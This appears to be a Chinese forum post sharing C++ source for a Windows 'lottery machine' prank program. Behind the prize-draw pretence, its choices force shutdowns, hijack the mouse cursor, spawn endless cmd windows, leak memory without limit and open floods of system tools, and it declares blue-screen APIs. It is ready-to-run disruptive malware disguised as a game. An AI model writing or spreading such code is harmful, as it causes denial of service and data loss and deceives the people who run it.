抽奖机

· · 休闲·娱乐

看看你是抽中了一款新的华为手机?100元大金卷?免费的电脑注销?

#include <bits/stdc++.h>//万能头
#include <windows.h>//就是这个东西
#include <Windows.h>//同上
#include <winternl.h>//不用管
#pragma comment(lib, "ntdll.lib") //这个是为了蓝屏的东西
#pragma comment(lib, "winmm.lib") //这个是音乐的东西
#define do 523
#define re 578
#define mi 659
#define fa 698
#define so 784
#define la 880
#define si 988
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response); //蓝屏必备
typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);//蓝屏必备
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);//蓝屏必备
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, ULONG ValidResponseOptions, PULONG Response);//蓝屏必备
int n;
enum Scale {
    Rest = 0, C4 = 60, D4 = 62, E4 = 64, F4 = 65, G4 = 67, A4 = 69, B4 = 71, C5 = 72//音符
};
int main(){
    srand(time(0));//随机数必备
    SetConsoleOutputCP(CP_UTF8);//设置控制台的编码(因为原本输出中文是乱码)
    cout << "欢迎来到抽奖机!\n";
    Sleep(1000);//跟scratch的等待1秒差不多
    cout<< "请选择一个1~10的数字\n";
    Sleep(500);
    cin>>n;
    if (n == 1) {
        cout<<"你真幸运!你的电脑会自己关机了!\n";
        system("shutdown -s -t 10");//让电脑10秒后趋势
    }
    if (n == 2) {
        cout << "OMG!隔壁三角洲的红狼把他的外骨骼送给你的鼠标了!你的鼠标会飞了!\n";
        Sleep(3000);
        while(1){
            int x = time(0) * rand() % 1441, y = time(0) * rand() % 901;//因为屏幕的X最大是1440,Y最大是900,所以要取模
//          cout<<x<<" "<<y<<endl;
            SetCursorPos(x, y);//控制鼠标飞起来的神秘代码
            Sleep(0.7);//必须睡0.7秒,如果不睡的话就看不到什么大动静了(虽说死循环)
        }
    }
    if(n == 3) {
        cout << "哈哈!送你一下东西!送什么呢?我喜欢黑色的,就送你一些吧!\n";
        Sleep(2750);
        while(1){//有点死的循环
            system("start cmd");//生成新的cmd
        }
    }   
    if (n == 4) {
        cout << "哈!你的电脑内存";
        while(1) {
            new int; //真的很耗内存
            Sleep(0.001);
            cout << "不够了";
        }
    }
    if (n == 5) {
        cout << "呦!你的电脑会唱歌了!\n";
        while (1) {
            Beep(so, 160);
            cout << "\nso~";
            Beep(so, 160);
            cout << "so~";
            Beep(mi, 160);
            cout << "mi~";
            Beep(la, 160);
            cout << "la~";
            Beep(so, 400);
            cout << "so~";
            Sleep(1000);
        }
    }
    if (n == 6) {
        if (MessageBoxW(NULL, L"这个东西又来无回,真的要继续吗?", L"windows蓝屏警告", MB_YESNO|MB_ICONEXCLAMATION) == IDNO) {
            exit(0);
        }
        MessageBoxW(NULL, L"运行完以后,想要恢复的话重启电脑即可。", L"windows蓝屏警告", MB_OK|MB_ICONEXCLAMATION);
//      system("taskkill /f /fi "pid ne 1"");
    }
    if (n == 7) {
        cout << "能进来的话代表是你的升日了呢!";
        int cnt = 0;
        while (1) {
            MessageBoxW(MB_APPLMODAL,L"  升  日  快  乐  ",L"日",MB_OK|MB_ICONERROR);
            system("start cmd");
            if (cnt % 2 == 0)   system("shutdown -s -t 10");
            else system("shutdown -a");
            for (int i = 1; i <= 1000; i++) {
                int x = time(0) * rand() % 1441, y = time(0) * rand() % 901;
                SetCursorPos(x, y);
                Sleep(0.7);
            }
            cnt++;
        }
    }
    if (n == 8) {
        cout << "千万不要点鼠标!别怪我没提醒你!";
        POINT p;
        while (1) {
            if (KEY_DOWN(VK_LBUTTON)) { // 如果鼠标左键被按下
                Beep(si, 100);
                system("start cmd");
            }
        }
    }
    if (n == 9) {
        cout << "最好的一个!神秘大礼包!";
        MessageBoxW(NULL, L"要打开吗?", L"Windows :)", MB_YESNO|MB_ICONASTERISK);
        MessageBoxW(NULL, L"哈?哈!??我就?逼?着你打?开!", L"Wi?do?s :)?", MB_OK|MB_ICONERROR);
        int x,y; 
        for (int a=0;a<10000;a++) {
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
        }
        for (int b=0;b<10;b++) {
            system("start notepad");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start calc");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start winver");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            Beep(si, 100);
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start cmd");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start Nslookup");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start ");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start cleanmgr");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start charmap");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start calc");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start calc");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            Beep(mi, 100);
            system("start dxdiag");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start cmd");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            Beep(so, 100);
            system("start taskmgr");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start ");
            system("start wiaacmgr");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start  mspaint");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            system("start mmc");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            Beep(re, 100);
            system("start ");
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
        }
        system("start dxdiag");
        system("shutdown -s -t 7 -c :)");
        for (int i = 1; i <= 2000; i++){
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            Sleep(0.7);
        }
        MessageBoxW(NULL, L"错误422", L"傻了吧唧的Windows", MB_OK|MB_ICONERROR);
        for (int i = 1; i <= 2000; i++){
            x = rand()*time(0)%1441;
            y = rand()*time(0)%901;
            SetCursorPos(x,y);
            Sleep(0.7);
        }
    }
    if (n == 10) {
        cout << "最温馨的一个";
        int cnt = 0;
        while (1) {
            cnt++;
            cout << cnt;
            if (cnt % 10 == 0) cout << endl;
            else cout << " ";
            system("cls");
            system("shutdown -s -t 5");
            system("shutdown -a");
        }
    }
    return 0;
}